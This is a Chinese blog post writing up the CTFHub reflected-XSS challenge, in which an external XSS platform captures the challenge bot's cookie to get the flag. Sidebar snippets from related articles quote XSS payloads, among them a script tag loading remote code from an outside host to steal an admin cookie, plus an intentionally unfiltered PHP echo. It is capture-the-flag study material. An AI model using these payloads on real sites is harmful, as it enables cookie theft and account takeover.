CTFHUB------XSS

最新推荐文章于 2024-05-15 22:52:56 发布
最新推荐文章于 2024-05-15 22:52:56 发布
阅读量719 收藏 1
点赞数
分类专栏： CTF笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45616570/article/details/118150891
版权

title: CTFHUB------XSS
date: 2021-06-23 10:48:44
top:
categories: CTFHUB刷题
tags:

  • 网络安全
  • CTFHUB

CTFHUB------XSS

image-20210623130001314

反射型xss

题目

image-20210623125405525

解题思路

  • 题目是xss反射型
  • xss反射型是将变量的值换成xss的payload
  • flag在cookie中，利用xss平台进行获取flag

解题过程

1.创建xss平台项目image-20210623125615024

2.点击下一步，勾选默认模块image-20210623125651687

3.点击下图中的一个作为反射型的变量值image-20210623125749206

4.返回题目提交payloadimage-20210623125826666

中…(img-AzJqt6Xw-1624424731580)]

5.返回xss平台查看cookie，发现flagimage-20210623125903513

r1ng_13
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[ctfhub]-xss详解
weixin_52116519的博客
04-28 4888
1、明确cookie的作用 当你登录账号密码，服务端就会给你一个cookie，这样你在这个平台上的操作就带上了cookie来验证身份，而不用每一次操作都要你登录账号密码。cookie相当于每个人的登录凭证，如果得到了别人的cookie，特别是管理员的，我们将可以不用输账号密码，直接登录，从而获取管理员权限。 2、XSS的目的 获取别人的cookie。 Web渗透测试之XSS攻击：反射型XSS 获得cookie的方法：我们在有XSS漏洞的搜索栏中输入<script>alert(document.c
CTFHub——XSS
2302_79119987的博客
03-28 852
"fangfa('可控点')"> 使用 ” 闭合：与上题解题思路一致，用插入语句后用xss平台找到flag，插入语句后发现无回显（模拟黑客发送xss到服务器），查找源码，发现插入成功。将xss代码输入测试栏，发现url地址有变化，将url地址复制到url地址栏，上传成功后在xss平台查看cookie。尝试注入，查看源码发现过滤空格，url地址不对，使用/**/过滤。
CTFhub之xss漏洞
最新发布
weixin_46954909的博客
05-15 635
前期了解：上半部分是用户执行的操作，下半部分是模拟服务器的操作。
xss跨站攻击脚本概述
xu_1234567的博客
10-28 316
1.XSS 漏洞简介 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以xss漏洞关键就是寻找参数未过滤的输出函数。 xss攻击分为三类： （1）持久型跨站(存储型xss )：最直接的危害类型，跨站代码存储在服务器（数据库） （2）非持久型跨站(反射型xss)：反射型跨站脚本漏洞，最普
2023-7-27 ctfhubxss
strider1123的博客
07-27 190
拖了好几天了，今天得赶紧把xss整完 xss：跨站脚本攻击(Cross Site Scripting)，为与层叠式样表css区分写为xss xss攻击能够用来盗用cookie，获取敏感信息等 xss攻击大概分为三种：反射型，存储型，DOM型，反射型和存储型也可以叫非持续型和持续型 攻击产生的原理是由于网页在处理用户输入的文本时将<script>等作为html的标签，执行了里面的代码，...
使用xss来打cookie
weixin_60719780的博客
11-11 1074
在我们的xss平台上，我们就可以收到一条信息，这也就说明了我们成功拿到cookie值，里面包含了cookie值；下来我们就可以使用cookie值进行登录，无需密码验证，到这里是不是感觉很爽。这里我们使用安全等级低的来做，使用xss存储型，只要大家能够绕过安全的等级（后面我会将存储型的三个等级绕过方式整理出来）下来我们重新使用一个浏览器打开我们的dvwa靶机，找到检查，找到cookie，进行修改。2、这里面有许多模块，自己选择所需要的就行，这里我使用的是默认模块。成功用cookie登录。
xss-labs.zip
03-18
xss-labs是一个网站，其中包含了20个含有XSS漏洞的网页，用于学习XSS。
xss-labs-master.rar
05-09
xss-labs-master靶机资源，有关于xss漏洞攻击专项练习，一共有二十关，也是小白的看门砖吧！
CTF-网络挑战
03-02
本项目只是对历届CTF开源的网站 申明 由于本人重新向出题人申请重新对过渡进行修改发布的权利，但对每个题均标明了出处，如涉嫌犯罪，立马致歉删除。 对于部分没找到flag的翻译，会自己随便添加 对已提供Dockerfile...
Bug Bounty Tip - i春秋Self-XSS变废为宝的奇思妙想
04-30
Bug Bounty Tip - i春秋Self-XSS变废为宝的奇思妙想 i春秋技术分享，将self-xss利用扩大化，奇思妙想可以借鉴。
题解记录-CTFHub技能树|Web|XSS,文件上传
weixin_57448435的博客
09-15 771
xss平台使用，修改后缀名、文件头、双写绕过，%00截断，.htaccess文件理解，bp与蚁剑工具的使用
CTFHub靶场：XSS
NSQ0207的博客
07-25 331
放入脚本，使用$.getScript功能是异步加载并执行。​​​​​​​查看cookie的flag。检查是否存在弹窗，可以放在url地址栏上执行。​​​​​​​查看cookie的flag。​​​​​​​查看cookie的flag。​​​​​​​查看cookie的flag。查看cookie的flag。查看cookie的flag。有空格，用/代替 （/**/）
-----已搬运-----反射型xss获取cookie(本地实现)
Zero_Adam的博客
02-17 2063
目录：1.最简单的反射性xss获取cookie注意！！！！ 1.最简单的反射性xss获取cookie <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'
CTFhub 反射型xss
luminous_you的博客
12-06 1065
查看是否能弹框 尝试弹出自己的cookie发现是空的 XSS平台 第一个输入框 <sCRiPt/SrC=//xs.sb/T391>//可以看到图片中下面那个是我们的，没有cookie 第二个输入框复制url输入，他第二个输入框是将url发送给了机器人（相当于管理员，这样我们就获取到了管理员的cookie）//图片上面那个是机器人的cookie中含有flag http://challenge-6d1eed70035be632.sandbox.ctfhub.com:10080/?name=%
CTF/CTF练习平台-XSS【xss注入及js unicode编码及innerHTML】
Sp4rkW的博客
08-31 1万+
原题内容： http://103.238.227.13:10089/ Flag格式:Flag:xxxxxxxxxxxxxxxxxxxxxxxx 题目有点坑啊，注入点都没说明，去群里问的，这题注入点为id（get方式），id的值会进行替换后进入s 补充了这个，好了，继续做题 右键源码 &lt;script&gt; var s=""; docu...
CTFHub-SSRF部分（已完结）
热门推荐
feng的博客
09-14 1万+
内网访问 根据题目意思，让我们如访问内网的flag.php，因此抓包进行访问，即可得到flag: 伪协议读取文件 根据题目的意思我们需要使用URL的伪协议去读取文件，那么我们首先要了解URL的伪协议。 URL伪协议有如下这些： file:/// dict:// sftp:// ldap:// tftp:// gopher:// 具体的用法请参考SSRF中URL的伪协议 这里我们使用file伪协议从文件系统中读取文件，我们直接抓包读取: 这里其实有点考常识了，因为网站的目录一般都在/var/ww
XSS详解
分享与记录
03-24 777
XSS简介： 跨站脚本攻击(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets)的缩写混淆，将跨站脚本攻击的缩写改为XSS。XSS是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种，恶意攻击者往web页面里插入恶意script代码，当用户浏览该网页时，嵌入其中的script代码会被执行，从而达到恶意攻击用户的目的。攻击成功之后，恶意...
xss常用Payload总结
csd_ct的专栏
01-03 1万+
xss常用Payload总结 渗透测试时，常遇到页面输入框、留言板等输入交互点，大多是xss漏洞易出现的常见场景之一，记录几种常用的xss注入的姿势 1.img 注入 快速探测是否存在xss 1) <img src='x' onerror='alert(1)'> 2) <img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"> 2.iframe 注入 后台做了相
XSS获取目标cookie，伪造身份获取目标权限
qq_57663276的博客
08-23 3119
未知攻，何来防。网络安全靶场学习：XSS（跨站脚本攻击）,使用XSS伪造目标权限。
X-XSS-Protection
07-28
例如，header("X-XSS-Protection: 1; mode=block")。\[2\]尽管现代浏览器通常不需要这些保护，因为可以通过实施强大的内容安全策略（CSP）来禁用内联的JavaScript，但对于不支持CSP的旧版浏览器的用户仍然提供了一定...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值